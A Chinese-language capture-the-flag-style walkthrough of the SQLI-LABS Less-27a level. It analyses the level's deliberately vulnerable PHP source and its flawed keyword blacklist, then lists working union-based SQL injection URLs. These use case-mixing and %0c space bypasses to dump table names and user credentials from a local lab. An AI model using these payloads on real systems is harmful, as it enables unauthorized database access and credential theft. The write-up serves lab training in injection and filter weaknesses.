目录
SQLI-LABS 是一个专门为学习和练习 SQL 注入技术而设计的开源靶场环境,本小节对第27a关Less 27a基于GET字符型的SQL注入关卡进行渗透实战,与27关的区别是无法使用报错法进行注入,且闭合方式由单引号变为双引号,该关卡同样过滤多个关键字(包括select多个变体、union多个变体,三类注释符号、空格等关键字)防止SQL注入攻击。
一、源码分析
1、代码审计
本关卡Less27a是基于GET字符型的SQL注入关卡,打开对应的源码index.php,如下所示。
Less27a关卡功能是简单基于id的查询页面,相对于27关的区别只是并不打印报错信息,以及闭合方式变为双引号,对比如下所示。
详细注释后的代码如下所示。
<?php
// 包含MySQL连接参数文件
include("../sql-connections/sqli-connect.php");
// 获取URL参数中的id值
if(isset($_GET['id']))
{
$id=$_GET['id'];
// 将用户输入的ID记录到result.txt文件中用于分析
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// 对用户输入的ID进行黑名单过滤,移除危险字符和关键词
$id= blacklist($id);
// 保存过滤后的ID用于提示信息
$hint=$id;
// 在过滤后的ID两边添加双引号
$id = '"' .$id. '"';
// 构建SQL查询语句,查询users表中匹配ID的记录
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
// 执行SQL查询
$result=mysqli_query($con1, $sql);
// 获取查询结果
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
// 如果查询到结果,显示用户名和密码
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
// 原代码注释掉了错误信息输出
//print_r(mysqli_error($con1));
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
// 黑名单过滤函数,移除可能用于SQL注入的字符和关键词
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); // 移除 /*
$id= preg_replace('/[--]/',"", $id); // 移除 --
$id= preg_replace('/[#]/',"", $id); // 移除 #
$id= preg_replace('/[ +]/',"", $id); // 移除空格
$id= preg_replace('/select/m',"", $id); // 移除select(多行模式)
$id= preg_replace('/[ +]/',"", $id); // 再次移除空格
$id= preg_replace('/union/s',"", $id); // 移除union(单行模式)
$id= preg_replace('/select/s',"", $id); // 移除select(单行模式)
$id= preg_replace('/UNION/s',"", $id); // 移除UNION(单行模式)
$id= preg_replace('/SELECT/s',"", $id); // 移除SELECT(单行模式)
$id= preg_replace('/Union/s',"", $id); // 移除Union(单行模式)
$id= preg_replace('/Select/s',"", $id); // 移除Select(单行模式)
return $id;
}
?>
本关卡实现了一个存在SQL注入风险的用户查询系统,功能如下所示。
- 用户输入处理:从 URL 参数中获取用户输入的 ID 值,并尝试对其进行黑名单过滤,移除可能用于 SQL 注入的字符和关键词。
- 日志记录:将用户输入的 ID 记录到 result.txt 文件中,用于后续分析。
- SQL 查询:构建 SQL 查询语句,查询 users 表中匹配 ID 的记录,并执行查询。
- 结果展示:如果查询到结果,显示用户的用户名和密码;如果没有查询到结果,则不显示数据库的具体报错信息。
- 提示信息:页面底部显示经过过滤后的用户输入,作为提示信息。
2、SQL安全性分析
由于本关卡并不打印数据库报错信息,故而不可以和27关卡一样使用报错法注入,本关卡只能使用联合注入法。系统虽然通过preg_replace()函数进行了简单的关键字过滤,但仍可通过双写或者大小写绕过等方法绕过过滤机制,因此本关卡仍然存在SQL注入风险,攻击者可以构造特殊输入来绕过过滤并执行恶意SQL命令,从而获取数据库敏感信息。27a关卡的过滤函数处理如下所示。
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
因为过滤了空格和注释符号,所以直接使用sqlmap会比较糟糕,由于空格会被过滤掉,导致多个函数与连接词(or,and,from)等用空格连接时,空滤空格后会导致字符串连接到一起,函数参数需要使用括号包裹替换。另外三类注释符号( /*,--,#)都被过滤为空,本关卡还过滤了select、union的多种变体,具体如下所示。
(1)[--]
方括号 []
在正则中表示字符组,匹配其中的任意一个字符。这里的 [--]
本意可能是匹配双连字符 --
,但实际上会移除所有单个 -
字符:
- 连字符
-
在字符组中有特殊含义(表示范围,如[a-z]
)。 - 当
-
是字符组中的第一个或最后一个字符时,它会被视为普通字符。因此,[--]
等价于[-]
,即只匹配单个连字符-
如果只是计划
移除 SQL 注释符--,黑名单函数如下所示。
$id = preg_replace('/--/', '', $id); // 移除SQL注释符
(2)[\/\*]
方括号 []
表示字符组,匹配其中的任意一个字符,因此,[\/\*]
会匹配 单个 /
或 。
-
\/
:转义后的斜杠/
。 \*
:转义后的星号*
。
这行代码会移除所有 /
和 *
字符,但无法单独移除 /*
组合(例如 SQL 注释块),如果想要移除/*
开头到 */
结尾的注释块,应使用如下语句。
$id = preg_replace('/\/\*.*?\*\//s', '', $id); // 移除 /* ... */ 注释块
若仅需移除 /*
组合(不处理闭合),应使用如下语句。
$id = preg_replace('/\/\*/', '', $id); // 移除 /*
(3)[#]
方括号 []
在正则中表示字符组,匹配其中的任意一个字符。这里的 [#]
会移除 单个 #
字符:
- 方括号
[]
表示字符组,匹配其中的任意一个字符。 - 由于
#
在正则中没有特殊含义,无需转义,因此[#]
等价于#
。 - 这行代码的意图是移除 单个
#
字符,常用于防御 SQL 单行注释(例如 MySQL 中的# 注释内容)
。
(4)[ +]
方括号[ +]
匹配 空格字符 或 加号字符(+
)。这个正则的含义是移除所有空格和加号,无论空格或加号连续出现多少次,都会被一并删除。
/
:正则表达式的定界符,表示正则表达式的开始和结束。[ ]
:字符类(character class),匹配方括号内的任意一个字符。+
:在字符类中,+
表示字面意义的加号字符(+
),而非量词。- 空格字符:在正则表达式中,空格字符直接用空格表示。
(5)过滤union和select变体
如下所示,源码对select和union进行了不包含大小写过滤函数preg_replace处理。其中preg_replace
是 PHP 中用于执行正则表达式替换的函数,其大小写处理取决于正则表达式的 模式(pattern) 和 修饰符(modifiers)
preg_replace($pattern, $replacement, $subject);
$pattern
:正则表达式模式,用斜杠(/
)包围,可选后缀修饰符(如/i
、/s
),/i
(大小写模式):如果模式中未使用i
修饰符,preg_replace
会 严格区分大小写;添加i
修饰符后,匹配将 不区分大小写。/m
(多行模式):影响^
和$
的匹配位置,但不影响大小写。/s
(单行模式):使.
匹配换行符,但不影响大小写。
$replacement
:替换字符串。$subject
:目标字符串。
举例,模式中的字符大小写决定匹配规则,故而本关卡实际上未对参数进行严格大小写匹配。
- 全小写模式(如
/select/
):仅匹配小写的select
。 - 全大写模式(如
/SELECT/
):仅匹配大写的SELECT
。 - 混合大小写模式(如
/Select/
):仅匹配特定大小写组合的Select
本关卡中,对select和union过滤如下所示。这使得SeLect和UnIon没有被过滤掉,可通过大小写绕过,可以通过这SeLect和UnIon替换select和union符号。
$id= preg_replace('/select/m',"", $id); //Strip out spaces.
$id= preg_replace('/union/s',"", $id); //Strip out union
$id= preg_replace('/select/s',"", $id); //Strip out select
$id= preg_replace('/UNION/s',"", $id); //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id); //Strip out SELECT
$id= preg_replace('/Union/s',"", $id); //Strip out Union
$id= preg_replace('/Select/s',"", $id); //Strip out select
二、探测空格绕过
当目标系统过滤了空格字符时,仍然有多种方法可以探测和利用SQL注入风险。以下是系统的探测和绕过方法。
1、注释符替代空格法
当空格被过滤时,可用注释符/**/或/*!...*/(MySQL特有)替代空格,使SQL语句保持语法正确。例如:SELECT/**/username/**/FROM/**/users。MySQL的内联注释还能绕过特定版本限制。此方法简单高效,但需注意不同数据库的注释语法差异(如Oracle使用--)。在自动化工具中,SQLMap的space2comment脚本可自动完成这种转换,适用于快速探测和利用注入点。
2、括号绕过法
当空格被过滤时可以利用括号重构语句逻辑。括号可自然分隔关键词且通常不被过滤,尤其适用于数字型注入。比如 SELECT column FROM table 可以替换为如下语句。
UNION(SELECT(column)FROM(table))
3、特殊字符与括号绕过法
通过Tab(%09)、换行符(%0A)等不可见字符替代空格。此方法隐蔽性强,但需测试目标数据库对特殊字符的支持情况。在渗透测试中,可结合Burp Suite等工具对特殊字符进行编码测试,逐步验证可用分隔符。
target_spaces = ['%09', '%0a', '%0b', '%0c', '%0d', '%20', '%23', '%2a', '%2d', '%2f', '%5c']
以下是这些特殊字符可以替代空格的详细分析表格。
编码字符 | ASCII字符 | 名称 | 可替代空格的原因 |
---|---|---|---|
%09 | \t | 水平制表符 | 数据库解析时会视作空白分隔符,但常被过滤规则忽略 |
%0a | \n | 换行符 | SQL语句中作为隐式分隔符,尤其在批量执行时有效 |
%0b | \v | 垂直制表符 | 非常规空白符,部分数据库解析为分隔符 |
%0c | \f | 换页符 | 类似%0a 的分隔作用,但兼容性较低 |
%0d | \r | 回车符 | 与%0a 组合使用可绕过严格过滤 |
%20 | 空格 | 标准URL编码空格 | 直接等价于空格,可能被简单解码器还原 |
%23 | # | 井号(注释符) | 结合换行符构成注释(如%23%0a ),使后续内容被忽略 |
%2a | * | 星号 | 在特定位置作为通配符时可充当分隔符(如SELECT*FROM ) |
%2d | - | 连字符 | 结合注释使用(如--%0a ) |
%2f | / | 斜杠 | 用于开启注释(如/**/ ) |
%5c | \ | 反斜杠 | 部分数据库解析转义字符时会产生隐式分隔效果 |
本关卡中通过探测,发现['%09', '%0a', '%0b', '%0c', '%0d']共5个字符均是有效的替换方法,故而在第五部分使用%0c替换空格。
4、字符串拼接与运算符法
利用逻辑运算符(如||、+)或科学计数法(如1e0)隐式连接语句片段。
例如:'OR'1'='1可以将OR替换为||,此方法无需显式空格,依赖数据库的隐式语法解析规则,如MySQL的||需启用PIPES_AS_CONCAT模式。适用于简单过滤场景,但对复杂语句的构造要求较高,通常作为备用方案与其他技术组合使用。
三、联合注入法渗透实战
1、进入靶场
进入sqli-labs靶场首页,其中包含基础注入关卡、进阶挑战关卡、特殊技术关卡三部分有效关卡,如下所示。
http://192.168.59.1/sqli-labs/
点击进入Page2,如下图红框所示。
其中第27a关在进阶挑战关卡“SQLi-LABS Page-2 (Adv Injections)”中, 点击进入如下页面。
http://192.168.59.1/sqli-labs/index-1.html#fm_imagemap
点击上图红框的Less27a关卡,进入到靶场的第27a关卡,页面提示“Please input the ID as parameter with numeric value”,并且在页面下方提示HINT信息“ Hint: Your Input is Filtered with following result: ”,具体如下所示。
http://192.168.59.1/sqli-labs/Less-27a
输入参数id=1,URL地址如下所示。
http://127.0.0.1/sqli-labs/Less-27a/?id=1
2、获取列数
参考第26a关卡和27a关卡在过滤掉注释符号后无法使用order by来判断select的列数,故而直接使用回显位探测方法来获取列数,根据上一步页面页面提示的信息包括用户名Dumb和密码Dumb,我们分析可知其至少select了2个字段,也就是应该是大于等于2的一个数字。
(1)使用两列进行回显位探测
首先尝试两列,注入命令如下所示。
http://192.168.59.1/sqli-labs/Less-27a/?id=-17777"union select(1),(2)||"1"="7
经过绕过处理(空格变为0c%)后,脚本变为如下所示 。
http://192.168.59.1/sqli-labs/Less-27a/?id=-17777"UnIon%0cSeLect(1),(2)||"1"="7
如下所示没有提示用户名和密码,说明select字段数量不是2列。
(2)使用三列进行回显位探测
接下来尝试三列进行回显位探测,注入命令如下所示。
http://192.168.59.1/sqli-labs/Less-27a/?id=-17777"union select(1),(2),(3)||"1"="7
经过绕过处理(空格变为0c%)后,脚本变为如下所示 。
http://192.168.59.1/sqli-labs/Less-27a/?id=-17777"UnIon%0cSeLect(1),(2),(3)||"1"="7
首先尝试三列,如下所示没有报错,说明select字段数量是3列,且回显位为1和2。
3、获取数据库名
由于回显位是1和2,那么在第2个位置替换为database()函数,于是通过报错注入获取数据库名的原始注入语句如下所示。
http://192.168.59.1/sqli-labs/Less-27a/?id=-17777"union select(1),database(),(3)||"1"="7
为绕过服务器,将数字用括号包裹,SeLect和UnIon替换select和union,空格用%0c替换,修改后如下所示。
http://192.168.59.1/sqli-labs/Less-27a/?id=-17777"UnIon%0cSeLect(1),database(),(3)||"1"="7
渗透成功,数据库名为security,如下图所示。
4、获取表名
原始通过报错注入获取数据库security所有表格名称的注入语句如下所示。
http://192.168.59.1/sqli-labs/Less-27a/?id=-17777"union select(1),group_concat(table_name),(3) from (information_schema.tables) where (table_schema= 'security')||"1"="7
为绕过服务器,将数字用括号包裹,SeLect和UnIon替换select和union,空格用%0c替换,修改后如下所示。
http://192.168.59.1/sqli-labs/Less-27a/?id=-17777"UnIon%0cSeLect(1),group_concat(table_name),(3)%0cfrom%0c(information_schema.tables)%0cwhere%0c(table_schema=%0c'security')||"1"="7
渗透成功,数据库security的表名分别为emails,referers,uagents,users,如下图所示。
5、获取列名
原始通过报错注入获取users表的列名,注入语句如下所示。
http://192.168.59.1/sqli-labs/Less-27a/?id=-17777"union select(1),group_concat(column_name),(3) from (information_schema.columns) where (table_schema= 'security') and (table_name='users')||"1"="7
为绕过服务器,将数字用括号包裹,SeLect和UnIon替换select和union,空格用%0c替换,修改后如下所示。
http://192.168.59.1/sqli-labs/Less-27a/?id=-17777"UnIon%0cSeLect(1),group_concat(column_name),(3)%0cfrom%0c(information_schema.columns)%0cwhere%0c(table_schema=%0c'security')%0cand%0c(table_name='users')||"1"="7
渗透成功,数据库security的users表的列名分别为id,username,password,如下图所示。
6、获取用户名密码
原始通过报错注入获取users表的列名,注入语句如下所示。
http://192.168.59.1/sqli-labs/Less-27a/?id=-17777"union select(1),group_concat(password,0x7e,username),(3) from(security.users) where (1=1)||"1"="7
为绕过服务器,将数字用括号包裹,SeLect和UnIon替换select和union,空格用%0c替换,修改后如下所示。
http://192.168.59.1/sqli-labs/Less-27a/?id=-17777"UnIon%0cSeLect(1),group_concat(password,0x7e,username),(3)%0cfrom(security.users)%0cwhere%0c(1=1)||"1"="7
渗透成功,数据库security的users表的用户名和密码内容如下所示。
Your Login name:Dumb~Dumb,I-kill-you~Angelina,p@ssword~Dummy,crappy~secure,stupidity~stupid,genious~superman,mob!le~batman,mooyuan123456~admin,admin1~admin1,admin2~admin2,admin3~admin3,dumbo~dhakkan,admin4~admin4,123456~admin'#mooyuan
Your Password:3
具体效果如下图所示,成功获取到users表的所有用户名和密码。